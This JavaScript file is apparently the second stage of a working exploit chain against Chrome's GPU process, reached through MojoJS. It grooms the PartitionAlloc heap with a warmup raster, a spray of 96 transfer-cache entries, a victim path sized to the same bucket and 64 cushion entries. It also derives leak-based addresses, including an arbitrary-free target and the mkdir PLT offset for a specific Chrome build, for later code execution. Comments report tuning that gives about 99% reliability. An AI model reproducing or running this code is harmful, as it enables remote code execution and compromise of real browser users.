// phase2.js — ② PLANT: warmup → spray TC[0..31] → cache victim → cushion
// TC[32..39]. Ports gpu_raster_buffer_provider.cc:1250-1360 1:1. All four
// sub-steps go into ONE ring batch (no intermediate Finish) so the GPU-side
// allocation order is exactly warmup-scratch → 32×vec(49200) → victim
// SkPathData → 8×vec(49200), matching the C++ groom.
'use strict';

// ─── constants (mirrors gpu_raster_buffer_provider.cc:411-543) ─────────────
const RCE = Object.freeze({
  LoggerOff:      0x150n,
  VerbsInDecOff:  0xc0n,                 // V = decoder + 0xc0  (gpu_preferences_ {00,01})
  PoolMask:       (1n << 35n) - 1n,
  GLIfaceOff:     0x4008ea800n,          // AF = pool_base + this  (== our build; PA-deterministic)
  GLIfaceSize:    0x2030,
  GLIfaceFnOff:   0x28,
  // google-chrome-stable 146.0.7680.164:
  //   nm chrome.debug | _ZTVN3gpu6raster17RasterDecoderImplE → 0xfaa7b90 (+0x10)
  //   objdump -d -j .plt chrome | mkdir@plt                  → 0xf566840
  Vo1:            0xfaa7ba0n,
  Mkdir:          0xf566840n,
  SlotStride:     65536,
  // SprayN bumped 32→48 vs the C++ chain. PA bucket-57344 packs 31 slots per
  // 2MB super-page (offsets 0x04000..0x1e4000). The MojoJS GPU sees a fresher
  // freelist than the in-renderer chain (browser-UI compositor only), so the
  // hole count D drained by TC[0..] varies ∈[1,7]. With SprayN=32, TC[31]
  // lands at SP-slot 31−D ∈ {24..30}; D≤3 puts punch/victim/cushion[0..1]
  // across the SP boundary → guard-page write in ③. With SprayN=48, TC[47]
  // lands at SP2-slot 16−D ∈ [9,15] for D∈[1,7] — punch+victim+8×cushion all
  // fit in SP2. K=2735 depends only on SlotStride, not SprayN.
  // Tuned spray for reliability. Real cascade processing is ~3.5 s on this
  // machine (not 1.5 ms as REPORT.md §13A claimed); with that wide race
  // window, foreign bucket-57344 frees and allocations can land any time.
  // Spray and cushion both serve different roles:
  //   - SprayN: slots BEFORE the victim. Cascade's intended target (TC[95])
  //     is the most-recently freed of these.
  //   - CushionN: slots AFTER the victim. Acts as a "safe zone" — if cascade
  //     lands on a foreign slot whose memory neighbour is one of these,
  //     the fan overflow's secondary corruption hits an attacker-owned empty
  //     slot rather than live viz state → no GPU crash → retry can fire.
  // CushionN=64 is the sweet spot — empirically ~99% per attempt across 100
  // runs (Wilson 95% CI: 94.6–99.8%). Going to 128 gives no measurable
  // improvement (98.75% / 80) and uses more memory/handles. The residual ~1%
  // failure has a different root cause (probably the bitwise vptr1==vptr2
  // false-positive case in REPORT.md §7, or an env-dependent corruption
  // pattern as seen on the teammate's machine).
  SprayN:         96,
  SpraySize:      49200,                 // → bucket-57344, slot stride 65536
  CushionN:       64,
  DrainN:         8,
  PunchIdx:       95,
  IdBase:         0x70d00000,
  VictimNpts:     5453,                  // 128 + 8·5453 + 5454 = 49206 → 57344
  VictimPathId:   0x70c00001,            // ServicePaintCache key (kInlined)
  Tri:            [3,6, 12,3, 8,14],
});

// bit_cast<float[2]>(uint64) — addr is BigInt.
function f32pair(addr) {
  const b = new ArrayBuffer(8);
  new BigUint64Array(b)[0] = addr & 0xFFFFFFFFFFFFFFFFn;
  const f = new Float32Array(b);
  return [f[0], f[1]];
}

// ─── path builders ─────────────────────────────────────────────────────────
// Warmup: 6000-pt zigzag → serialized ≈54KB → grows scs->scratch_buffer past
// bucket-40960 BEFORE the victim is read (L1240-1268).
function buildWarmupPath() {
  const p = new SkPathBuilder(FillType.kWinding);
  p.moveTo(0, 0);
  for (let i = 1; i < 6000; ++i) p.lineTo(i & 7, i & 1);
  p.close();
  return p;
}
// Victim: 5453-pt zigzag in [0,15]² → SkPathData 49206B → bucket-57344.
// kInverseWinding so SkCanvas::onDrawPath skips quickReject in ④ (L1312-1317).
function buildVictimPath() {
  const p = new SkPathBuilder(FillType.kInverseWinding);
  const step = 15.0 / (RCE.VictimNpts - 1);
  p.moveTo(0, 0);
  for (let i = 1; i < RCE.VictimNpts; ++i) p.lineTo(i * step, (i & 1) ? 15 : 0);
  p.close();
  return p;
}

// ─── driver ────────────────────────────────────────────────────────────────
async function phase2(ctx /* {ring, si, handles, decoder, pool, …} */) {
  const {ring, si, handles, decoder, pool} = ctx;

  // V/W/AF — pure arithmetic from the ① leak. Consumed by ③'s payload path.
  // GLIfaceOff is env-dependent (kernel/glibc/startup-order shifts PA layout;
  // teammate's Ubuntu 24.04 = 0x4009cc000 vs our 0x4008ea800). As of ④w it is
  // DERIVED AT RUNTIME via the 8-hop s1+s4 walk in phase3.js and the value
  // computed here is only a comparison baseline. Pass ?gli_off=0xHEX to skip
  // the walk and force this constant (regression testing / walk debugging).
  const url_gli = new URLSearchParams(location.search).get('gli_off');
  const gliOff  = url_gli ? BigInt(url_gli) : RCE.GLIfaceOff;
  const V  = decoder + RCE.VerbsInDecOff;          // {kMove,kLine} bytes
  const W  = decoder + 2n;                         // vptr1[2:6] read target
  const AF = pool    + gliOff;                     // arb-free → GrGLInterface
  if (url_gli) { log('② GLIfaceOff override: ' + hex(gliOff)); }
  log('② V  = ' + hex(V) + '  (decoder+0xc0)');
  log('② W  = ' + hex(W) + '  (decoder+2)');
  log('② AF = ' + hex(AF) + '  (pool+' + hex(RCE.GLIfaceOff) + ')');

  // Dedicated transfer buffer for ②: warmup(~54K) + spray-template(49200)
  // + victim(~49K) all live in one batch. Registered BEFORE warmup so the
  // GPU-side BufferBacking alloc precedes the groom.
  const xfer2 = new XferPool(ring.cb, 0x30000);

  let consoleErr = null;
  cbcBinding.impl_.onConsoleMessage = m => {
    log('② OnConsoleMessage: ' + m); consoleErr = m;
  };

  // ── ②a warmup raster ─────────────────────────────────────────────────────
  // Save / ClipRect(empty) / DrawPath(warmup, kInlinedDoNotCache) / Restore.
  // ClipRect(empty) ⇒ no GrOps ⇒ CpuBufferCache stays empty.
  const wslice = xfer2.alloc(56 * 1024, 16);
  {
    const pw = new PaintWriter(wslice);
    pw.save();
    pw.clipRect(0, 0, 0, 0, ClipOp.kIntersect, false);
    pw.drawPath(buildWarmupPath(), {aa: true, color: [1,1,1,1]},
                PCE.kInlinedDoNotCache);
    pw.restore();
    log('②a warmup paintops: ' + pw.size() + 'B');
    ring.beginRaster([0,0,0,0], 1, 0, MsaaMode.kNoMSAA, 0, 1, 1.0,
                     mailboxBytes(si.mailbox));
    ring.raster(wslice.shmId, wslice.offset, pw.size());
    ring.endRaster();
  }

  // ── ②b spray TC[0..31] ───────────────────────────────────────────────────
  // One 49200B template reused for all entries (GPU memcpy's it into a fresh
  // std::vector each time). Contents are vestigial post-§13F — only the
  // bucket-57344 allocations matter — but we keep the {M,L,L,Close}+tri
  // pattern at ×0x4000 for parity with the C++ chain.
  const sslice = xfer2.alloc(RCE.SpraySize, 16);
  sslice.u8.fill(0);
  for (const base of [0, 0x4000, 0x8000, 0xc000]) {
    sslice.u8[base+0]=0; sslice.u8[base+1]=1; sslice.u8[base+2]=1; sslice.u8[base+3]=5;
    for (let k = 0; k < 6; ++k) sslice.f32[(base>>2) + 4 + k] = RCE.Tri[k];
  }
  for (let i = 0; i < RCE.SprayN; ++i) {
    const h = handles.next();
    ring.createTransferCacheEntry(kTCRawMemory, RCE.IdBase + i,
        h.shmId, h.offset, sslice.shmId, sslice.offset, RCE.SpraySize);
  }
  log('②b spray TC[' + RCE.IdBase.toString(16) + '..+' + (RCE.SprayN-1) +
      '] @ ' + RCE.SpraySize + 'B');

  // ── ②c victim cache ──────────────────────────────────────────────────────
  // Save / ClipRect(empty) / DrawPath(victim, kInlined, id) / Restore.
  // GPU: PaintOpReader::Read(SkPath*) → SkPath::readFromMemory → SkPathData
  // (49206B, bucket-57344) → ServicePaintCache::PutPath(id). ClipRect(empty)
  // culls the draw, so EndRaster flush has no GrOps.
  const vslice = xfer2.alloc(52 * 1024, 16);
  {
    const pw = new PaintWriter(vslice);
    pw.save();
    pw.clipRect(0, 0, 0, 0, ClipOp.kIntersect, false);
    pw.drawPath(buildVictimPath(), {aa: true, color: [1,1,1,1]},
                PCE.kInlined, RCE.VictimPathId);
    pw.restore();
    log('②c victim paintops: ' + pw.size() + 'B  path_id=' +
        RCE.VictimPathId.toString(16));
    ring.beginRaster([0,0,0,0], 1, 0, MsaaMode.kNoMSAA, 0, 1, 1.0,
                     mailboxBytes(si.mailbox));
    ring.raster(vslice.shmId, vslice.offset, pw.size());
    ring.endRaster();
  }

  // ── ②d cushion TC[32..39] ────────────────────────────────────────────────
  // Fills slot0+{2S,3S,…} so ③'s putBack(-) spillover lands in our data,
  // not in fPathDrawAllocator's SkBlockAllocator (L1349-1360).
  for (let i = 0; i < RCE.CushionN; ++i) {
    const h = handles.next();
    ring.createTransferCacheEntry(kTCRawMemory, RCE.IdBase + RCE.SprayN + i,
        h.shmId, h.offset, sslice.shmId, sslice.offset, RCE.SpraySize);
  }
  log('②d cushion TC[+' + RCE.SprayN + '..+' + (RCE.SprayN+RCE.CushionN-1) + ']');

  const st = await ring.finish();
  log('② finish: get_offset=' + st.getOffset + ' err=' + st.error +
      ' put=' + ring.put + ' console=' + (consoleErr ?? 'none'));
  if (st.error)   throw '② cb err=' + st.error;
  if (consoleErr) throw '② GPU rejected: ' + consoleErr;

  return {V, W, AF, xfer2, victimId: RCE.VictimPathId};
}
